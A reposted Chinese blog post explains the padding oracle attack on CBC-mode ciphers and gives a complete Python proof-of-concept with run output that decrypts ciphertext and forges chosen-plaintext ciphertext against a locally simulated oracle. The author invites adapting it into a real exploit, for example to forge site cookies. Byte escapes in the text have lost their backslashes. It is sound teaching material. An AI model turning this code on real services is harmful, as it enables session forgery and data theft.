zoukankan      html  css  js  c++  java
  • Padding Oracle Attack的一些细节与实现

    Padding Oracle Attack还是颇具威力的,ASP.NET的Padding Oracle Attack被Pwnie评为2010年最佳服务端漏洞之一。还是看 Juliano Rizzo and Thai Duong 的相关Paper。

        另外就是padbuster这个工具也是针对padding oracle的自动化实现,而且作者写的文章也是阐述padding oracle攻击原理最好的一篇。云舒还根据此篇文章写了个学习笔记,英文不好的同学可以看看看看云舒的中文版。因为前人已经写得很好了,我在此就不深入讲padding oracle的原理了,而是讲讲一些实现方面的细节。

        但padbuster这个工具在我看来并不好使,它与网络耦合太紧密了,为此我自己实现了一个padding oracle的自动化工具。自己实现一遍果然是加深理解的最好方法。在现实攻击中,只需要看懂了我的代码,并在适当的地方做些定制化的修改即可写出exploit,此举也可过滤掉一些scriptkids。连续花了三天,奋战数个小时,终于完成了这份POC代码,想算法死了不少脑细胞。写得过程中完全没有参考padbuster的code,纯粹是依据自己对padding oracle的理解而写成。另外因为工作环境的原因,我的注释是用英文写的。

    Padding Oracle Attack能做什么?

        padding oracle针对的是加密算法中的CBC Mode,当加密算法使用CBC Mode时,如果满足攻击条件,那么利用Padding Oracle能够在不知道密钥的情况下,解密任意密文,或者构造出任意明文的合法密文

        如果你不能理解这句话的话,那么想想ASP.NET 的padding oracle攻击,能够使得攻击者完全解密网站的Cookie,或者是构造一个admin的Cookie,只要你知道Cookie明文的格式。

        需要注意的是,padding oracle针对的是CBC模式,而不是某一个加密算法,所以任何分组加密算法,只要使用了CBC模式,都会受到影响。此类加密算法包括AES、DES、3-DES、Blowfish。。。。。。

    Padding Oracle Attack的条件

        但padding oracle不是没有任何限制的,否则世界就乱套了。padding oracle attack的达成条件是

    1. 攻击者能够获得密文(ciphertext),以及密文对应的IV(初始化向量)

    2. 攻击者能够触发密文的解密过程,且能够知道密文的解密结果

        对于第一点,密文是我们攻击的目标,从cookie、敏感数据等很多地方自然可以获得。

        密码学里的IV,并没有保密性的要求,所以对于使用CBC-MODE的加密算法来说,IV经常会随着密文一起发送。常见的做法是将IV作为一个前缀,附着在密文的前面。对于CBC-MODE来说,IV的长度必须与分组的长度相等。

        在实施攻击准备时,如果能够获知目标使用的加密算法,就能大大简化工作。所以这里插一些很有用的“题外话”,不感兴趣的朋友可以直接跳过此部分。

    =============================================================  

    通过密文猜测加密算法的思路

        在现实攻击中,遇到一堆看了就眼花的密文通常有着无处下手的感觉?也许下面我讲的这些思路能帮到你。

        首先,要知道在一般的互联网应用中,要使用加密算法,有着各种各样的限制。

        一个是性能的限制,使用性能不好的加密算法,甚至是增加key的长度,都可能会使得性能以几何级数下降,这是架构师所无法忍受的事情。

        二是实现加密算法的第三方库,一般来说只有一些流行加密算法有着比较稳定的第三方函数库。

        综合这些因素,在一般的互联网应用中,对称加密算法的使用离不开这么几种算法:

            1.stream cipher(RC4、XOR之流)

            2.分组加密算法中的DES、3-DES、AES、Blowfish等,且因为性能的问题,模式选择可能大多数是 ECB、CBC,因为CFB模式等可能导致性能消耗增加若干倍,是架构师所不愿意看到的事情。

            3. 程序员自己实现的一些野鸡算法(这种是最挫的,任何一本讲应用密码学的书应该都写了一条原则:不要自己实现加密算法)。

        其次,几种常见的加密算法还有一个特征,就是密文的长度。对于stream cipher来说,明文的长度和密文的长度是一样的,密文的长度是没有规律的,所以如果看到了奇数字节的密文,若不是密文还附加了别的东西,就几乎可以断定是stream cipher了。

        而分组加密算法的block size和key size都是固定的,见下表:

        因此我们拿到了密文后,可以通过对长度的判断,来猜测它用的是什么加密算法。

        比如 AES 的密文,必然是16的整数倍长度,DES、3-DES等则是8的整数倍。

        加密算法加密后产生的密文,很多是不可见字符,因此在实际应用中,一般会使用编码的形式将密文编码起来。常见的有两种编码方式

        一种是base64:

           7BXXmAWWXzHDJPHvw6ybqx+RIQxwDCJP.......

        一种是将密文字符的16进制转化为ascii码,比如:

            907EA2E95B5A832B6EC8D5C2757C3866A202CDC7231AF5669CBD762F1B7F8A0F  (64字节)

            可能原本的密文是:

            x90x7ExA2xE9x5Bx5A......

            所以这段密文的实际长度,应该是 64/2 = 32  字节。如果按照8字节(64 bit)分组,就是:

            907EA2E95B5A832B

            6EC8D5C2757C3866

            A202CDC7231AF566

            9CBD762F1B7F8A0F

            其中第一组很可能是IV,也可能不是,因为服务端可能没有把IV附带在密文中。

            如果服务端没有将IV附带在密文中,则IV的状态需要在服务端维护(或者写死在配置中),这种情况只适用于类似cookie这种情景,密文由服务端加密生成,又由服务端自己来解密,才能解得开。如果需要用到跨系统的调用,不附带IV,接收密文的一方即便有密钥,也是解不开密文的。

            如果按照16字节(128bit)分组,则有可能是AES加密算法:

            907EA2E95B5A832B6EC8D5C2757C3866

            A202CDC7231AF5669CBD762F1B7F8A0F        

        

        最后,如果在知道明文的情况下,还可以通过改变明文的字节,来查看密文的变化。看是变动了几个字节,分组之间又有何关联,从而推断出密文使用的加密算法或是加密时选择的模式。关于这种技巧,推荐一篇文章,在此不深入讨论。 

    =============================================================  

        padding oracle attack的第二个条件,也是最关键的一个,是能够触发解密过程,且能够知道密文的解密结果。这是最为关键的一个条件。因为加密算法的加解密必须遵循一定的padding原则,如果padding不正确,则解密就可能不会成功。padding oracle attack就是通过验证解密时产生的明文是否符合padding的原则,来判断解密是否成功的

        padding的规则有很多种,在padding oracle attack中,使用的padding规则是 PKCS#5,它填充的每个字节值即为需要填充的字节数,即:

        一般来说,解密时如果发现解密出来明文的padding不正确,解密函数可能会抛出一个异常;

        如果解密出来明文的padding正确,则解密过程顺利完成。但在具体应用中,根据padding oracle解密出来的明文必然不是应用程序原本想要获得的结果,因此有可能出现一个业务上的自定义错误;

        padding oracle attack正是利用了这两个错误之间的差异,来验证padding是否正确。所以能够验证解密后的结果,是padding oracle实施的必要条件。

        在padbuster作者的文章中,他是通过服务端返回错误来验证的。如果服务端解密时发现padding错误,会抛出一个 500的错误:

         而当服务端解密padding正确时,但解密出来的明文不符合业务期待,因此会抛一个200的自定义错误页面:

        利用者两者间的差异,即可验证padding是否正确。

     自动化实现Padding Oracle Attack

        了解了padding oracle的原理和条件后,就可以实现我们的padding oracle代码了。因为padding oracle的第二个条件,其本质是确认解密后的明文,是否满足PKCS#5的padding规则,因此在POC中,我写了一个函数验证明文的PKCS#5 padding是否正确。

        我使用的python加密算法库(),在padding不正确时也根本没有抛出异常。但我们通过对解密后明文的验证,同样能够完成padding oracle攻击。

        解密函数的触发,也是直接调用了加密算法函数进行的解密,但这并不影响我们POC padding oracle的过程。

        如要改写为实际攻击可用的exploit,这两个部分是需要根据环境自己修改的。

        在具体实施解密过程时,是一个block一个block去操作的。

        Padding Oracle 还可以实现任意自定义明文的加密,返回可以解密成此明文的密文和IV。其原理主要是获取解密过程中的一个临时中间值。如果有多个block时,需要从最后一个block开始推导。

        不断的从后往前推导出新的IV,也就推导出了我们想要的密文和最终需要的IV。


        代码如下:


     

        最终的运行效果:

        使用以下测试数据:

      ########################################

      # you may config this part by yourself

      iv = '12345678'   ===》 iv,随便自定义一个,需要和block size一样大小,我们需要这个值

      plain = 'aaaaaaaaaaaaaaaaX'  ===》 原本的明文,17字节,因为padding后可以分成3组

      plain_want = "opaas"     ===》希望通过padding oracle,得到解密为此明文的密文

      # you can choose cipher: blowfish/AES/DES/DES3/CAST/ARC2

      cipher = "blowfish"    ===》 加密算法选择

      ########################################

        输出:

    [root@vps tmp]#python padding_oracle.py 

    === Padding Oracle Attack POC(CBC-MODE) ===

    === by axis ===

    === axis@ph4nt0m.org ===

    === 2011.9 ===

    === Generate Target Ciphertext ===

    [+] plaintext is: aaaaaaaaaaaaaaaaX

    [+] iv is: x31x32x33x34x35x36x37x38

    [+] ciphertext is: xd7xe6x5dxc9xd7xbbx49xecx61xe2x67x7ex1bxbax33x85x34xfcxcdxe4x9fxaaxe9x72

    === Start Padding Oracle Decrypt ===

    [+] Choosing Cipher: BLOWFISH

    [*] Now try to decrypt block 0

    [*] Block 0's ciphertext is: xd7xe6x5dxc9xd7xbbx49xec

    [*] Try IV: x00x00x00x00x00x00x00x58

    [*] Found padding oracle: x50x53x52x55x54x57x56x01

    [*] Try IV: x00x00x00x00x00x00x54x5b

    [*] Found padding oracle: x50x53x52x55x54x57x02x02

    [*] Try IV: x00x00x00x00x00x54x55x5a

    [*] Found padding oracle: x50x53x52x55x54x03x03x03

    [*] Try IV: x00x00x00x00x50x53x52x5d

    [*] Found padding oracle: x50x53x52x55x04x04x04x04

    [*] Try IV: x00x00x00x50x51x52x53x5c

    [*] Found padding oracle: x50x53x52x05x05x05x05x05

    [*] Try IV: x00x00x54x53x52x51x50x5f

    [*] Found padding oracle: x50x53x06x06x06x06x06x06

    [*] Try IV: x00x54x55x52x53x50x51x5e

    [*] Found padding oracle: x50x07x07x07x07x07x07x07

    [*] Try IV: x58x5bx5ax5dx5cx5fx5ex51

    [*] Found padding oracle: x08x08x08x08x08x08x08x08

    [+] Block 0 decrypt!

    [+] intermediary value is: x50x53x52x55x54x57x56x59

    [+] The plaintext of block 0 is: aaaaaaaa

    [*] Now try to decrypt block 1

    [*] Block 1's ciphertext is: x61xe2x67x7ex1bxbax33x85

    [*] Try IV: x00x00x00x00x00x00x00x8c

    [*] Found padding oracle: xb6x87x3cxa8xb6xdax28x01

    [*] Try IV: x00x00x00x00x00x00x2ax8f

    [*] Found padding oracle: xb6x87x3cxa8xb6xdax02x02

    [*] Try IV: x00x00x00x00x00xd9x2bx8e

    [*] Found padding oracle: xb6x87x3cxa8xb6x03x03x03

    [*] Try IV: x00x00x00x00xb2xdex2cx89

    [*] Found padding oracle: xb6x87x3cxa8x04x04x04x04

    [*] Try IV: x00x00x00xadxb3xdfx2dx88

    [*] Found padding oracle: xb6x87x3cx05x05x05x05x05

    [*] Try IV: x00x00x3axaexb0xdcx2ex8b

    [*] Found padding oracle: xb6x87x06x06x06x06x06x06

    [*] Try IV: x00x80x3bxafxb1xddx2fx8a

    [*] Found padding oracle: xb6x07x07x07x07x07x07x07

    [*] Try IV: xbex8fx34xa0xbexd2x20x85

    [*] Found padding oracle: x08x08x08x08x08x08x08x08

    [+] Block 1 decrypt!

    [+] intermediary value is: xb6x87x3cxa8xb6xdax28x8d

    [+] The plaintext of block 1 is: aaaaaaaa

    [*] Now try to decrypt block 2

    [*] Block 2's ciphertext is: x34xfcxcdxe4x9fxaaxe9x72

    [*] Try IV: x00x00x00x00x00x00x00x83

    [*] Found padding oracle: x39xe5x60x79x1cxbdx34x01

    [*] Try IV: x00x00x00x00x00x00x36x80

    [*] Found padding oracle: x39xe5x60x79x1cxbdx02x02

    [*] Try IV: x00x00x00x00x00xbex37x81

    [*] Found padding oracle: x39xe5x60x79x1cx03x03x03

    [*] Try IV: x00x00x00x00x18xb9x30x86

    [*] Found padding oracle: x39xe5x60x79x04x04x04x04

    [*] Try IV: x00x00x00x7cx19xb8x31x87

    [*] Found padding oracle: x39xe5x60x05x05x05x05x05

    [*] Try IV: x00x00x66x7fx1axbbx32x84

    [*] Found padding oracle: x39xe5x06x06x06x06x06x06

    [*] Try IV: x00xe2x67x7ex1bxbax33x85

    [*] Found padding oracle: x39x07x07x07x07x07x07x07

    [*] Try IV: x31xedx68x71x14xb5x3cx8a

    [*] Found padding oracle: x08x08x08x08x08x08x08x08

    [+] Block 2 decrypt!

    [+] intermediary value is: x39xe5x60x79x1cxbdx34x82

    [+] The plaintext of block 2 is: X

    [+] Guess intermediary value is: x50x53x52x55x54x57x56x59xb6x87x3cxa8xb6xdax28x8dx39xe5x60x79x1cxbdx34x82

    [+] plaintext = intermediary_value XOR original_IV

    [+] Guess plaintext is: aaaaaaaaaaaaaaaaX

    === Start Padding Oracle Encrypt ===

    [+] plaintext want to encrypt is: opaas

    [+] Choosing Cipher: BLOWFISH

    [*] After padding, plaintext becomes to: x6fx70x61x61x73x03x03x03

    [+] Encrypt Success!

    [+] The ciphertext you want is: x34xfcxcdxe4x9fxaaxe9x72

    [+] IV is: x56x95x01x18x6fxbex37x81

    === Let's verify the custom encrypt result ===

    [+] Decrypt of ciphertext 'x34xfcxcdxe4x9fxaaxe9x72' is:

    opaas

    [+] Bingo!

    [root@vps tmp]#

       

     padding_oracle.py的源代码:

    """

        Padding Oracle Attack POC(CBC-MODE)

        Author: axis(axis@ph4nt0m.org)

        http://hi.baidu.com/aullik5

        2011.9

        This program is based on Juliano Rizzo and Thai Duong's talk on 

        Practical Padding Oracle Attack.(http://netifera.com/research/)

        For Education Purpose Only!!!

        This program is free software: you can redistribute it and/or modify

        it under the terms of the GNU General Public License as published by

        the Free Software Foundation, either version 3 of the License, or

        (at your option) any later version.

        This program is distributed in the hope that it will be useful,

        but WITHOUT ANY WARRANTY; without even the implied warranty of

        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the

        GNU General Public License for more details.

        You should have received a copy of the GNU General Public License

        along with this program.  If not, see <http://www.gnu.org/licenses/>.

    """

    import sys

    # https://www.dlitz.net/software/pycrypto/

    from Crypto.Cipher import *

    import binascii

    # the key for encrypt/decrypt

    # we demo the poc here, so we need the key

    # in real attack, you can trigger encrypt/decrypt in a complete blackbox env

    ENCKEY = 'abcdefgh'

    def main(args):

      print 

      print "=== Padding Oracle Attack POC(CBC-MODE) ==="

      print "=== by axis ==="

      print "=== axis@ph4nt0m.org ==="

      print "=== 2011.9 ==="

      print 

      ########################################

      # you may config this part by yourself

      iv = '12345678'

      plain = 'aaaaaaaaaaaaaaaaX'

      plain_want = "opaas"

      # you can choose cipher: blowfish/AES/DES/DES3/CAST/ARC2 

      cipher = "blowfish"

      ########################################

      block_size = 8

      if cipher.lower() == "aes":

        block_size = 16

      if len(iv) != block_size:

        print "[-] IV must be "+str(block_size)+" bytes long(the same as block_size)!"

        return False

      print "=== Generate Target Ciphertext ==="

      ciphertext = encrypt(plain, iv, cipher)

      if not ciphertext:

        print "[-] Encrypt Error!"

        return False

      print "[+] plaintext is: "+plain

      print "[+] iv is: "+hex_s(iv)

      print "[+] ciphertext is: "+ hex_s(ciphertext)

      print

      print "=== Start Padding Oracle Decrypt ==="

      print

      print "[+] Choosing Cipher: "+cipher.upper()

      guess = padding_oracle_decrypt(cipher, ciphertext, iv, block_size)

      if guess:

        print "[+] Guess intermediary value is: "+hex_s(guess["intermediary"])

        print "[+] plaintext = intermediary_value XOR original_IV"

        print "[+] Guess plaintext is: "+guess["plaintext"]

        print

        if plain_want:

          print "=== Start Padding Oracle Encrypt ==="

          print "[+] plaintext want to encrypt is: "+plain_want

          print "[+] Choosing Cipher: "+cipher.upper()

          en = padding_oracle_encrypt(cipher, ciphertext, plain_want, iv, block_size)

          if en:

            print "[+] Encrypt Success!"

            print "[+] The ciphertext you want is: "+hex_s(en[block_size:])

            print "[+] IV is: "+hex_s(en[:block_size])

            print

           

            print "=== Let's verify the custom encrypt result ==="

            print "[+] Decrypt of ciphertext '"+ hex_s(en[block_size:]) +"' is:"

            de = decrypt(en[block_size:], en[:block_size], cipher)

            if de == add_PKCS5_padding(plain_want, block_size):

              print de

              print "[+] Bingo!"

            else:

              print "[-] It seems something wrong happened!"

              return False

        return True

      else:

        return False

    def padding_oracle_encrypt(cipher, ciphertext, plaintext, iv, block_size=8):

      # the last block

      guess_cipher = ciphertext[0-block_size:] 

      plaintext = add_PKCS5_padding(plaintext, block_size)

      print "[*] After padding, plaintext becomes to: "+hex_s(plaintext)

      print

      block = len(plaintext)

      iv_nouse = iv # no use here, in fact we only need intermediary

      prev_cipher = ciphertext[0-block_size:] # init with the last cipher block

      while block > 0:

        # we need the intermediary value

        tmp = padding_oracle_decrypt_block(cipher, prev_cipher, iv_nouse, block_size, debug=False)

        # calculate the iv, the iv is the ciphertext of the previous block

        prev_cipher = xor_str( plaintext[block-block_size:block], tmp["intermediary"] )

        #save result

        guess_cipher = prev_cipher + guess_cipher

        block = block - block_size

      return guess_cipher  

    def padding_oracle_decrypt(cipher, ciphertext, iv, block_size=8, debug=True):

      # split cipher into blocks; we will manipulate ciphertext block by block

      cipher_block = split_cipher_block(ciphertext, block_size)

      if cipher_block:

        result = {}

        result["intermediary"] = ''

        result["plaintext"] = ''

        counter = 0

        for c in cipher_block:

          if debug:

            print "[*] Now try to decrypt block "+str(counter)

            print "[*] Block "+str(counter)+"'s ciphertext is: "+hex_s(c)

            print

          # padding oracle to each block

          guess = padding_oracle_decrypt_block(cipher, c, iv, block_size, debug)

          if guess:

            iv = c

            result["intermediary"] += guess["intermediary"]

            result["plaintext"] += guess["plaintext"]

            if debug:

              print

              print "[+] Block "+str(counter)+" decrypt!"

              print "[+] intermediary value is: "+hex_s(guess["intermediary"])

              print "[+] The plaintext of block "+str(counter)+" is: "+guess["plaintext"]

              print

            counter = counter+1

          else:

            print "[-] padding oracle decrypt error!"

            return False

        return result

      else:

        print "[-] ciphertext's block_size is incorrect!"    

        return False

    def padding_oracle_decrypt_block(cipher, ciphertext, iv, block_size=8, debug=True):

      result = {}

      plain = ''

      intermediary = []  # list to save intermediary

      iv_p = [] # list to save the iv we found

      for i in range(1, block_size+1):

        iv_try = []

        iv_p = change_iv(iv_p, intermediary, i)

        # construct iv

        # iv = x00...(several 0 bytes) + x0e(the bruteforce byte) + xdc...(the iv bytes we found)

        for k in range(0, block_size-i):

          iv_try.append("x00")

        # bruteforce iv byte for padding oracle

        # 1 bytes to bruteforce, then append the rest bytes

        iv_try.append("x00")

        for b in range(0,256):

          iv_tmp = iv_try

          iv_tmp[len(iv_tmp)-1] = chr(b)

        

          iv_tmp_s = ''.join("%s" % ch for ch in iv_tmp)

          # append the result of iv, we've just calculate it, saved in iv_p

          for p in range(0,len(iv_p)):

            iv_tmp_s += iv_p[len(iv_p)-1-p]

          

          # in real attack, you have to replace this part to trigger the decrypt program

          #print hex_s(iv_tmp_s) # for debug

          plain = decrypt(ciphertext, iv_tmp_s, cipher)

          #print hex_s(plain) # for debug

          # got it!

          # in real attack, you have to replace this part to the padding error judgement

          if check_PKCS5_padding(plain, i):

            if debug:

              print "[*] Try IV: "+hex_s(iv_tmp_s)

              print "[*] Found padding oracle: " + hex_s(plain)

            iv_p.append(chr(b))

            intermediary.append(chr(b ^ i))

            

            break

      plain = ''

      for ch in range(0, len(intermediary)):

        plain += chr( ord(intermediary[len(intermediary)-1-ch]) ^ ord(iv[ch]) )

        

      result["plaintext"] = plain

      result["intermediary"] = ''.join("%s" % ch for ch in intermediary)[::-1]

      return result

    # save the iv bytes found by padding oracle into a list

    def change_iv(iv_p, intermediary, p):

      for i in range(0, len(iv_p)):

        iv_p[i] = chr( ord(intermediary[i]) ^ p)

      return iv_p  

    def split_cipher_block(ciphertext, block_size=8):

      if len(ciphertext) % block_size != 0:

        return False

      result = []

      length = 0

      while length < len(ciphertext):

        result.append(ciphertext[length:length+block_size])

        length += block_size

      return result

    def check_PKCS5_padding(plain, p):

      if len(plain) % 8 != 0:

        return False

      # convert the string

      plain = plain[::-1]

      ch = 0

      found = 0

      while ch < p:

        if plain[ch] == chr(p):

          found += 1

        ch += 1 

      if found == p:

        return True

      else:

        return False

    def add_PKCS5_padding(plaintext, block_size):

      s = ''

      if len(plaintext) % block_size == 0:

        return plaintext

      if len(plaintext) < block_size:

        padding = block_size - len(plaintext)

      else:

        padding = block_size - (len(plaintext) % block_size)

      

      for i in range(0, padding):

        plaintext += chr(padding)

      return plaintext

    def decrypt(ciphertext, iv, cipher):

      # we only need the padding error itself, not the key

      # you may gain padding error info in other ways

      # in real attack, you may trigger decrypt program

      # a complete blackbox environment

      key = ENCKEY

      if cipher.lower() == "des":

        o = DES.new(key, DES.MODE_CBC,iv)

      elif cipher.lower() == "aes":

        o = AES.new(key, AES.MODE_CBC,iv)

      elif cipher.lower() == "des3":

        o = DES3.new(key, DES3.MODE_CBC,iv)

      elif cipher.lower() == "blowfish":

        o = Blowfish.new(key, Blowfish.MODE_CBC,iv)

      elif cipher.lower() == "cast":

        o = CAST.new(key, CAST.MODE_CBC,iv)

      elif cipher.lower() == "arc2":

        o = ARC2.new(key, ARC2.MODE_CBC,iv)

      else:

        return False

      if len(iv) % 8 != 0:

        return False

      if len(ciphertext) % 8 != 0:

        return False

      return o.decrypt(ciphertext)

    def encrypt(plaintext, iv, cipher):

      key = ENCKEY

      if cipher.lower() == "des":

        if len(key) != 8:

          print "[-] DES key must be 8 bytes long!"

          return False

        o = DES.new(key, DES.MODE_CBC,iv)

      elif cipher.lower() == "aes":

        if len(key) != 16 and len(key) != 24 and len(key) != 32:

          print "[-] AES key must be 16/24/32 bytes long!"

          return False

        o = AES.new(key, AES.MODE_CBC,iv)

      elif cipher.lower() == "des3":

        if len(key) != 16:

          print "[-] Triple DES key must be 16 bytes long!"

          return False

        o = DES3.new(key, DES3.MODE_CBC,iv)

      elif cipher.lower() == "blowfish":

        o = Blowfish.new(key, Blowfish.MODE_CBC,iv)

      elif cipher.lower() == "cast":

        o = CAST.new(key, CAST.MODE_CBC,iv)

      elif cipher.lower() == "arc2":

        o = ARC2.new(key, ARC2.MODE_CBC,iv)

      else:

        return False

      plaintext = add_PKCS5_padding(plaintext, len(iv))  

      return o.encrypt(plaintext)

    def xor_str(a,b):

      if len(a) != len(b):

        return False

      c = ''

      for i in range(0, len(a)):

        c += chr( ord(a[i]) ^ ord(b[i]) )

      return c

    def hex_s(str):

      re = ''

      for i in range(0,len(str)):

        re += "\x"+binascii.b2a_hex(str[i])

      return re

    if __name__ == "__main__":

            main(sys.argv)

     摘自:大风起兮云飞扬

  • 相关阅读:
    volley框架使用
    Insert Interval
    candy(贪心)
    Best Time to Buy and Sell Stock
    Best Time to Buy and Sell Stock III
    distinct subsequences
    edit distance(编辑距离,两个字符串之间相似性的问题)
    trapping rain water
    word break II(单词切分)
    sudoku solver(数独)
  • 原文地址:https://www.cnblogs.com/zlhff/p/5519175.html
Copyright © 2011-2022 走看看